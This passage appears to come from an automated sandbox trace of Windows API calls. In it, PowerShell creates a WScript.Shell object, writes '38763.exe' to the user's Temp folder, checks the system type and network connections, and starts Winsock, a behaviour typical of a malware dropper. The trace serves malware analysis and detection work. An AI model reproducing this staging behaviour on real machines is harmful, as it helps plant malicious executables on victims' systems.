[0055.073] RegCloseKey (hKey=0x80000004) returned 0x0
[0055.073] CloseHandle (hObject=0x2e8) returned 1
[0055.073] GetLastError () returned 0x0
[0055.073] CloseHandle (hObject=0x31c) returned 1
[0055.073] GetLastError () returned 0x0
[0055.073] UnmapViewOfFile (lpBaseAddress=0x1d60000) returned 1
[0055.076] CoGetContextToken (in: pToken=0x3f2e3fc | out: pToken=0x3f2e3fc) returned 0x0
[0055.076] CoGetContextToken (in: pToken=0x3f2e38c | out: pToken=0x3f2e38c) returned 0x0
[0055.076] IUnknown:Release (This=0x2e21dc) returned 0x0
[0055.077] IUnknown:Release (This=0x2c7d88) returned 0x0
Thread:
id = 30
os_tid = 0xb10
[0042.290] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0042.424] SetThreadUILanguage (LangId=0x0) returned 0x409
[0042.429] VirtualQuery (in: lpAddress=0x50fe2a0, lpBuffer=0x50ff2a0, dwLength=0x1c | out: lpBuffer=0x50ff2a0*(BaseAddress=0x50fe000, AllocationBase=0x4770000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.554] GetLastError () returned 0xcb
[0042.556] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.556] GetLastError () returned 0xcb
[0042.557] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.557] GetLastError () returned 0xcb
[0042.576] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.576] GetLastError () returned 0xcb
[0042.582] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.582] GetLastError () returned 0xcb
[0042.583] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.583] GetLastError () returned 0xcb
[0042.624] VirtualQuery (in: lpAddress=0x50fe3bc, lpBuffer=0x50ff3bc, dwLength=0x1c | out: lpBuffer=0x50ff3bc*(BaseAddress=0x50fe000, AllocationBase=0x4770000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.624] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.624] GetLastError () returned 0xcb
[0042.626] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.626] GetLastError () returned 0xcb
[0042.626] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.626] GetLastError () returned 0xcb
[0042.675] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.675] GetLastError () returned 0xcb
[0042.703] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.703] GetLastError () returned 0xcb
[0042.901] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.901] GetLastError () returned 0xcb
[0042.902] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.902] GetLastError () returned 0xcb
[0042.903] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.903] GetLastError () returned 0xcb
[0042.904] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.904] GetLastError () returned 0xcb
[0042.905] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.905] GetLastError () returned 0xcb
[0042.906] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.906] GetLastError () returned 0xcb
[0042.907] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.907] GetLastError () returned 0xcb
[0042.928] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.928] GetLastError () returned 0xcb
[0043.181] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0043.181] GetLastError () returned 0xcb
[0043.182] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0043.183] GetLastError () returned 0xcb
[0043.335] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x50feeb8 | out: lpclsid=0x50feeb8*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
[0043.378] CoGetClassObject (in: rclsid=0x3974b4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x5f36a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x50fec48 | out: ppv=0x50fec48*=0x321f9c) returned 0x0
[0043.606] WshShell:IUnknown:QueryInterface (in: This=0x321f9c, riid=0x5f457ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x50fea78 | out: ppvObject=0x50fea78*=0x0) returned 0x80004002
[0043.607] WshShell:IClassFactory:CreateInstance (in: This=0x321f9c, pUnkOuter=0x0, riid=0x5f3e7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x50feab0 | out: ppvObject=0x50feab0*=0x2e21dc) returned 0x0
[0043.607] IUnknown:QueryInterface (in: This=0x2e21dc, riid=0x5f3e7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x50fe854 | out: ppvObject=0x50fe854*=0x2e21dc) returned 0x0
[0043.608] IUnknown:QueryInterface (in: This=0x2e21dc, riid=0x5f404204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x50fe810 | out: ppvObject=0x50fe810*=0x0) returned 0x80004002
[0043.608] IUnknown:QueryInterface (in: This=0x2e21dc, riid=0x5f330b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x50fe704 | out: ppvObject=0x50fe704*=0x321dec) returned 0x0
[0043.611] IProvideClassInfo:GetClassInfo (in: This=0x321dec, ppTI=0x50fe6fc | out: ppTI=0x50fe6fc*=0x2cc014) returned 0x0
[0043.617] ITypeInfo:RemoteGetTypeAttr (in: This=0x2cc014, ppTypeAttr=0x50fe710, pDummy=0xb1a59f2f | out: ppTypeAttr=0x50fe710, pDummy=0xb1a59f2f) returned 0x0
[0043.618] ITypeInfo:LocalReleaseTypeAttr (This=0x2cc014) returned 0x1c0001
[0043.619] IUnknown:Release (This=0x321dec) returned 0x2
[0043.619] IUnknown:Release (This=0x2cc014) returned 0x0
[0043.619] IUnknown:AddRef (This=0x2e21dc) returned 0x3
[0043.619] CoGetContextToken (in: pToken=0x50fe69c | out: pToken=0x50fe69c) returned 0x0
[0043.619] CoGetObjectContext (in: riid=0x5f3e7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x39b844 | out: ppv=0x39b844*=0x2c7d88) returned 0x0
[0043.620] IUnknown:QueryInterface (in: This=0x2e21dc, riid=0x5f2e23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x50fe684 | out: ppvObject=0x50fe684*=0x2e213c) returned 0x0
[0043.620] IMarshal:GetUnmarshalClass (in: This=0x2e213c, riid=0x5f3e7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x50fe68c | out: pCid=0x50fe68c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
[0043.620] IUnknown:Release (This=0x2e213c) returned 0x3
[0043.620] CoGetContextToken (in: pToken=0x50fe694 | out: pToken=0x50fe694) returned 0x0
[0043.620] IUnknown:AddRef (This=0x2e21dc) returned 0x4
[0043.620] IUnknown:QueryInterface (in: This=0x2e21dc, riid=0x5f33767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x50fe708 | out: ppvObject=0x50fe708*=0x2e21c4) returned 0x0
[0043.620] IUnknown:Release (This=0x2e21dc) returned 0x4
[0043.620] IRpcOptions:Query (in: This=0x2e21c4, pPrx=0x2e21dc, dwProperty=2, pdwValue=0x50fe72c | out: pdwValue=0x50fe72c) returned 0x0
[0043.620] IUnknown:Release (This=0x2e21c4) returned 0x3
[0043.620] IUnknown:Release (This=0x2e21dc) returned 0x2
[0043.620] WshShell:IUnknown:Release (This=0x321f9c) returned 0x0
[0043.621] IUnknown:Release (This=0x2e21dc) returned 0x1
[0045.730] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="") returned 0x0
[0045.730] GetLastError () returned 0xcb
[0045.761] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp") returned 0x24
[0045.761] GetLastError () returned 0x0
[0045.799] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x31e018, nSize=0x80 | out: lpBuffer="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp") returned 0x24
[0045.799] GetLastError () returned 0x0
[0046.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x50fe604, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
[0046.062] GetLastError () returned 0x0
[0046.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x50fe5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
[0046.062] GetLastError () returned 0x0
[0046.067] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x527e470, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
[0046.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x50fe63c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39
[0046.067] GetLastError () returned 0x0
[0046.089] GetCurrentProcess () returned 0xffffffff
[0046.089] GetLastError () returned 0x3f0
[0046.089] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe750 | out: TokenHandle=0x50fe750*=0x3f0) returned 1
[0046.089] GetLastError () returned 0x3f0
[0046.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x50fe2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
[0046.093] GetLastError () returned 0x0
[0046.094] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x50fe790 | out: lpFileInformation=0x50fe790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e385d07, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x8e385d07, ftLastAccessTime.dwHighDateTime=0x1ca0427, ftLastWriteTime.dwLowDateTime=0x7da1e096, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
[0046.094] GetLastError () returned 0x0
[0046.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x50fe2a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
[0046.098] GetLastError () returned 0x0
[0046.100] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x50fe78c | out: lpFileInformation=0x50fe78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e385d07, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x8e385d07, ftLastAccessTime.dwHighDateTime=0x1ca0427, ftLastWriteTime.dwLowDateTime=0x7da1e096, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
[0046.100] GetLastError () returned 0x0
[0046.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x50fe1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
[0046.100] GetLastError () returned 0x0
[0046.100] SetErrorMode (uMode=0x1) returned 0x1
[0046.100] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8
[0046.100] GetLastError () returned 0x0
[0046.100] GetFileType (hFile=0x3f8) returned 0x1
[0046.100] SetErrorMode (uMode=0x1) returned 0x1
[0046.100] GetFileType (hFile=0x3f8) returned 0x1
[0046.102] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x50fe760 | out: lpFileSizeHigh=0x50fe760*=0x0) returned 0x65b3
[0046.102] GetLastError () returned 0x0
[0046.103] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe718, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe718*=0x1000, lpOverlapped=0x0) returned 1
[0046.103] GetLastError () returned 0x0
[0046.106] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe528, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe528*=0x1000, lpOverlapped=0x0) returned 1
[0046.106] GetLastError () returned 0x0
[0046.107] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe3d0, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe3d0*=0x1000, lpOverlapped=0x0) returned 1
[0046.107] GetLastError () returned 0x0
[0046.107] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe3d0, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe3d0*=0x1000, lpOverlapped=0x0) returned 1
[0046.107] GetLastError () returned 0x0
[0046.107] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe3d0, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe3d0*=0x1000, lpOverlapped=0x0) returned 1
[0046.107] GetLastError () returned 0x0
[0046.112] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe504, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe504*=0x1000, lpOverlapped=0x0) returned 1
[0046.112] GetLastError () returned 0x0
[0046.112] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe398, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe398*=0x5b3, lpOverlapped=0x0) returned 1
[0046.112] GetLastError () returned 0x0
[0046.112] ReadFile (in: hFile=0x3f8, lpBuffer=0x20a8488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50fe484, lpOverlapped=0x0 | out: lpBuffer=0x20a8488*, lpNumberOfBytesRead=0x50fe484*=0x0, lpOverlapped=0x0) returned 1
[0046.112] GetLastError () returned 0x0
[0046.114] CloseHandle (hObject=0x3f8) returned 1
[0046.114] GetLastError () returned 0x0
[0046.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x50fe604, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
[0046.116] GetLastError () returned 0x0
[0046.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x50fe5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
[0046.116] GetLastError () returned 0x0
[0046.116] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x527e470, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
[0046.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x50fe63c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39
[0046.116] GetLastError () returned 0x0
[0046.117] GetCurrentProcess () returned 0xffffffff
[0046.117] GetLastError () returned 0x3f0
[0046.117] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe9e0 | out: TokenHandle=0x50fe9e0*=0x3f8) returned 1
[0046.117] GetLastError () returned 0x3f0
[0046.118] GetCurrentProcess () returned 0xffffffff
[0046.118] GetLastError () returned 0x3f0
[0046.118] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe9e0 | out: TokenHandle=0x50fe9e0*=0x3f4) returned 1
[0046.118] GetLastError () returned 0x3f0
[0046.122] GetCurrentProcess () returned 0xffffffff
[0046.122] GetLastError () returned 0x3f0
[0046.122] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe750 | out: TokenHandle=0x50fe750*=0x404) returned 1
[0046.122] GetLastError () returned 0x3f0
[0046.122] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x50fe790 | out: lpFileInformation=0x50fe790*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0046.122] GetLastError () returned 0x2
[0046.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x50fe2a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
[0046.122] GetLastError () returned 0x2
[0046.122] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x50fe78c | out: lpFileInformation=0x50fe78c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0046.122] GetLastError () returned 0x2
[0046.122] GetCurrentProcess () returned 0xffffffff
[0046.122] GetLastError () returned 0x3f0
[0046.122] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe9e0 | out: TokenHandle=0x50fe9e0*=0x408) returned 1
[0046.123] GetLastError () returned 0x3f0
[0046.123] GetCurrentProcess () returned 0xffffffff
[0046.123] GetLastError () returned 0x3f0
[0046.123] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe9e0 | out: TokenHandle=0x50fe9e0*=0x40c) returned 1
[0046.123] GetLastError () returned 0x3f0
[0046.149] GetCurrentProcess () returned 0xffffffff
[0046.149] GetLastError () returned 0x3f0
[0046.150] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe7bc | out: TokenHandle=0x50fe7bc*=0x410) returned 1
[0046.150] GetLastError () returned 0x3f0
[0046.179] GetCurrentProcess () returned 0xffffffff
[0046.179] GetLastError () returned 0x3f0
[0046.179] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe7cc | out: TokenHandle=0x50fe7cc*=0x414) returned 1
[0046.179] GetLastError () returned 0x3f0
[0046.187] GetLongPathNameW (in: lpszShortPath="C:\\Users\\ATVEYD~1\\", lpszLongPath=0x50fe6b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\ATVeyDl98Z\\") returned 0x14
[0046.188] GetLastError () returned 0x3f0
[0046.188] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", nBufferLength=0x105, lpBuffer=0x50fe6d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", lpFilePart=0x0) returned 0x30
[0046.188] GetLastError () returned 0x3f0
[0046.188] SetErrorMode (uMode=0x1) returned 0x1
[0046.188] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\temp\\38763.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x418
[0046.188] GetLastError () returned 0x0
[0046.188] GetFileType (hFile=0x418) returned 0x1
[0046.188] SetErrorMode (uMode=0x1) returned 0x1
[0046.188] GetFileType (hFile=0x418) returned 0x1
[0046.189] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x41c
[0046.189] GetLastError () returned 0x0
[0046.189] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x420
[0046.189] GetLastError () returned 0x0
[0046.198] GetCurrentProcess () returned 0xffffffff
[0046.198] GetLastError () returned 0x3f0
[0046.198] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe7e0 | out: TokenHandle=0x50fe7e0*=0x424) returned 1
[0046.198] GetLastError () returned 0x3f0
[0046.201] GetCurrentProcess () returned 0xffffffff
[0046.201] GetLastError () returned 0x3f0
[0046.201] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe7f0 | out: TokenHandle=0x50fe7f0*=0x428) returned 1
[0046.201] GetLastError () returned 0x3f0
[0046.213] GetCurrentProcess () returned 0xffffffff
[0046.213] GetLastError () returned 0x3f0
[0046.213] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe7b4 | out: TokenHandle=0x50fe7b4*=0x42c) returned 1
[0046.213] GetLastError () returned 0x3f0
[0046.215] GetCurrentProcess () returned 0xffffffff
[0046.215] GetLastError () returned 0x3f0
[0046.215] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50fe7c4 | out: TokenHandle=0x50fe7c4*=0x430) returned 1
[0046.215] GetLastError () returned 0x3f0
[0046.218] GetCurrentProcess () returned 0xffffffff
[0046.218] GetLastError () returned 0x3f0
[0046.218] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x50feab8 | out: TokenHandle=0x50feab8*=0x434) returned 1
[0046.218] GetLastError () returned 0x3f0
[0046.228] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x50fdb18 | out: phkResult=0x50fdb18*=0x438) returned 0x0
[0046.228] RegQueryValueExW (in: hKey=0x438, lpValueName="InstallationType", lpReserved=0x0, lpType=0x50fdb60, lpData=0x0, lpcbData=0x50fdb5c*=0x0 | out: lpType=0x50fdb60*=0x1, lpData=0x0, lpcbData=0x50fdb5c*=0xe) returned 0x0
[0046.228] RegQueryValueExW (in: hKey=0x438, lpValueName="InstallationType", lpReserved=0x0, lpType=0x50fdb60, lpData=0x527e470, lpcbData=0x50fdb5c*=0xe | out: lpType=0x50fdb60*=0x1, lpData="Client", lpcbData=0x50fdb5c*=0xe) returned 0x0
[0046.229] RegCloseKey (hKey=0x438) returned 0x0
[0046.255] RasEnumConnectionsW (in: param_1=0x527f950, param_2=0x50feb30, param_3=0x50feb34 | out: param_1=0x527f950, param_2=0x50feb30, param_3=0x50feb34) returned 0x0
[0046.277] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x527f950 | out: lpWSAData=0x527f950) returned 0
[0046.281] GetLastError () returned 0x0
